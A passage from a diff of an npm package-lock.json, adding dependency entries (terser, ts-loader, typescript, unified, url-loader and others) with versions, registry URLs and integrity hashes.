"node_modules/table/node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser": { + "version": "5.9.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.9.0.tgz", + "integrity": "sha512-h5hxa23sCdpzcye/7b8YqbE5OwKca/ni0RQz1uRX3tGh8haaGHqcuSqbGRybuAKNdntZ0mDgFNXPJ48xQ2RXKQ==", + "dependencies": { + "commander": "^2.20.0", + "source-map": "~0.7.2", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.2.4.tgz", + "integrity": "sha512-E2CkNMN+1cho04YpdANyRrn8CyN4yMy+WdFKZIySFZrGXZxJwJP6PMNGGc/Mcr6qygQHUUqRxnAPmi0M9f00XA==", + "dependencies": { + "jest-worker": "^27.0.6", + "p-limit": "^3.1.0", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1", + "terser": "^5.7.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser-webpack-plugin/node_modules/@types/json-schema": { + "version": "7.0.9", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", + "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==" + }, + "node_modules/terser-webpack-plugin/node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/terser-webpack-plugin/node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/terser-webpack-plugin/node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/terser-webpack-plugin/node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/terser-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/terser/node_modules/source-map": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", + "dev": true + }, + "node_modules/through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", + "dev": true + }, + "node_modules/through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "dependencies": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + }, + "node_modules/thunky": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", + "dev": true + }, + "node_modules/tiny-invariant": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.1.0.tgz", + "integrity": "sha512-ytxQvrb1cPc9WBEI/HSeYYoGD0kWnGEOR8RY6KomWLBVhqz0RgTwVO9dLrGz7dC+nN9llyI7OKAgRq8Vq4ZBSw==" + }, + "node_modules/tiny-warning": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz", + "integrity": "sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==" + }, + "node_modules/tmp": { + "version": "0.0.33", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", + "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", + "dev": true, + "dependencies": { + "os-tmpdir": "~1.0.2" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=", + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toggle-selection": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz", + "integrity": "sha1-bkWxJj8gF/oKzH2J14sVuL932jI=" + }, + "node_modules/toidentifier": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", + "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/trim-newlines": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz", + "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/trough": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz", + "integrity": "sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/ts-loader": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.3.0.tgz", + "integrity": "sha512-MgGly4I6cStsJy27ViE32UoqxPTN9Xly4anxxVyaIWR+9BGxboV4EyJBGfR3RePV7Ksjj3rHmPZJeIt+7o4Vag==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "enhanced-resolve": "^4.0.0", + "loader-utils": "^2.0.0", + "micromatch": "^4.0.0", + "semver": "^7.3.4" + }, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "typescript": "*", + "webpack": "*" + } + }, + "node_modules/ts-loader/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/ts-loader/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/ts-loader/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/ts-loader/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/ts-loader/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ts-loader/node_modules/json5": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", + "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", + "dev": true, + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/ts-loader/node_modules/loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/ts-loader/node_modules/semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/ts-loader/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tslib": { + "version": "1.11.2", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.2.tgz", + "integrity": "sha512-tTSkux6IGPnUGUd1XAZHcpu85MOkIl5zX49pO+jfsie3eP0B6pyhOlLXm3cAC6T7s+euSDDUUV+Acop5WmtkVg==", + "dev": true + }, + "node_modules/tsparticles": { + "version": "1.35.4", + "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.35.4.tgz", + "integrity": "sha512-usrQNLXoQKwBz3oOvtrwQCwCFWEX6mb4kPeJG+o9Zse119Sl/zWnPPLu9owQ3iD4hyQqGlXUjUWRwxvUBY+hPA==", + "deprecated": "tsParticles 1.41.3 is out with some fixes, please update to latest version", + "hasInstallScript": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/matteobruni" + } + }, + "node_modules/type-check": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", + "dev": true, + "dependencies": { + "prelude-ls": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dev": true, + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "dev": true, + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/typescript": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.4.3.tgz", + "integrity": "sha512-4xfscpisVgqqDfPaJo5vkd+Qd/ItkoagnHpufr+i2QCHBsNYp+G7UAoyFl8aPtx879u38wPV65rZ8qbGZijalA==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/ua-parser-js": { + "version": "0.7.28", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.28.tgz", + "integrity": "sha512-6Gurc1n//gjp9eQNXjD9O3M/sMwVtN5S8Lv9bvOYBfKfDNiIIhqiyi01vMBO45u4zkDE420w/e0se7Vs+sIg+g==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/ua-parser-js" + }, + { + "type": "paypal", + "url": "https://paypal.me/faisalman" + } + ], + "engines": { + "node": "*" + } + }, + "node_modules/uglify-js": { + "version": "3.4.10", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.10.tgz", + "integrity": "sha512-Y2VsbPVs0FIshJztycsO2SfPk7/KAF/T72qzv9u5EpQ4kB2hQoHlhNQTsNyy6ul7lQtqJN/AoWeS23OzEiEFxw==", + "dev": true, + "dependencies": { + "commander": "~2.19.0", + "source-map": "~0.6.1" + }, + "bin": { + "uglifyjs": "bin/uglifyjs" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/uglify-js/node_modules/commander": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.19.0.tgz", + "integrity": "sha512-6tvAOO+D6OENvRAh524Dh9jcfKTYDQAqvqezbCW82xj5X0pSrcpxtvRKHLG0yBY6SD7PSDrJaj+0AiOcKVd1Xg==", + "dev": true + }, + "node_modules/uglify-js/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unbox-primitive": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz", + "integrity": "sha512-tZU/3NqK3dA5gpE1KtyiJUrEB0lxnGkMFHptJ7q6ewdZ8s12QrODwNbhIJStmJkd1QDXa1NRA8aF2A1zk/Ypyw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "has-bigints": "^1.0.1", + "has-symbols": "^1.0.2", + "which-boxed-primitive": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/uncontrollable": { + "version": "7.2.1", + "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-7.2.1.tgz", + "integrity": "sha512-svtcfoTADIB0nT9nltgjujTi7BzVmwjZClOmskKu/E8FW9BXzg9os8OLr4f8Dlnk0rYWJIWr4wv9eKUXiQvQwQ==", + "dependencies": { + "@babel/runtime": "^7.6.3", + "@types/react": ">=16.9.11", + "invariant": "^2.2.4", + "react-lifecycles-compat": "^3.0.4" + }, + "peerDependencies": { + "react": ">=15.0.0" + } + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dev": true, + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz", + "integrity": "sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz", + "integrity": "sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unified": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.2.tgz", + "integrity": "sha512-Sg7j110mtefBD+qunSLO1lqOEKdrwBFBrR6Qd8f4uwkhWNlbkaqwHse6e7QvD3AP/MNoJdEDLaf8OxYyoWgorQ==", + "dev": true, + "dependencies": { + "bail": "^1.0.0", + "extend": "^3.0.0", + "is-buffer": "^2.0.0", + "is-plain-obj": "^2.0.0", + "trough": "^1.0.0", + "vfile": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/uniq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", + "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", + "dev": true + }, + "node_modules/unist-util-find-all-after": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.2.tgz", + "integrity": "sha512-xaTC/AGZ0rIM2gM28YVRAFPIZpzbpDtU3dRmp7EXlNVA8ziQc4hY3H7BHXM1J49nEmiqc3svnqMReW+PGqbZKQ==", + "dev": true, + "dependencies": { + "unist-util-is": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.1.0.tgz", + "integrity": "sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==", + "dev": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz", + "integrity": "sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.2" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/untildify": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", + "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/upper-case": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-1.1.3.tgz", + "integrity": "sha1-9rRQHC7EzdJrp4vnIilh3ndiFZg=", + "dev": true + }, + "node_modules/uri-js": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", + "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/url": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", + "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", + "dev": true, + "dependencies": { + "punycode": "1.3.2", + "querystring": "0.2.0" + } + }, + "node_modules/url-loader": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.2.tgz", + "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==", + "dev": true, + "dependencies": { + "loader-utils": "^1.1.0", + "mime": "^2.0.3", + "schema-utils": "^1.0.0" + }, + "engines": { + "node": ">= 6.9.0" + }, + "peerDependencies": { + "webpack": "^3.0.0 || ^4.0.0" + } + }, + "node_modules/url-loader/node_modules/schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "dependencies": { + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/url/node_modules/punycode": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", + "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=", + "dev": true + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true + }, + "node_modules/utila": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz", + "integrity": "sha1-ihagXURWV6Oupe7MWxKk+lN5dyw=", + "dev": true + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=", + "dev": true, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-2.0.3.tgz", + "integrity": "sha1-Z+LoY3lyFVMN/zGOW/nc6/1Hsho=", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details." + }, + "node_modules/v8-compile-cache": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.1.0.tgz", + "integrity": "sha512-usZBT3PW+LOjM25wbqIlZwPeJV+3OSz3M1k1Ws8snlW39dZyYL9lOGC5FgPVHfk0jKmjiDV8Z0mIbVQPiwFs7g==", + "dev": true + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/value-equal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-1.0.1.tgz", + "integrity": 